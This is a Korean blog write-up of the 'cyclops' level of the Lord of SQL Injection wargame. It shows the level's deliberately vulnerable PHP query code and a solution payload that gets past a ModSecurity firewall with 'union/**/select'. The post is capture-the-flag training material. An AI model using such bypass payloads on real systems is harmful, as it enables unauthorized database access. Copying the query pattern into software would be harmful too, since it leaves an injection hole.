<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
highlight_file(__FILE__);
?>
id는 first pw는 second이어야 문제가 풀린다.
문제에서 union select를 사용하라고 한다.
하지만 웹 방화벽에선 union select를 막고 있다. 따라서 우회 방법을 찾아보았다.
아래 링크에 다양한 우회 방법이 있다.
https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF
SQL Injection Bypassing WAF | OWASP Foundation
SQL Injection Bypassing WAF on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.
owasp.org
WAF를 우회하여 union select를 사용하는 방법 중 다음을 사용하였다.
union/**/select
답: ?id='<@ union/**/select 'first','second'%23
아래 링크에 왜 <@를 사용하는지 나와있다.
https://dbgdbg.tistory.com/entry/cthulhu
cthulhu
query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("cthulhu"); highlight_file(__FILE__);?>ModSecurity는 WAF(웹방화벽)이다. 이를 우회하는 문제다.https://github.com/SpiderLabs/owasp-modsecurity
dbgdbg.tistory.com
'Lord of SQL Injection' 카테고리의 다른 글
manticore (0) | 2023.01.05 |
---|---|
chupacabra (0) | 2023.01.05 |
godzilla (0) | 2023.01.04 |
death (0) | 2023.01.04 |
cthulhu (0) | 2023.01.04 |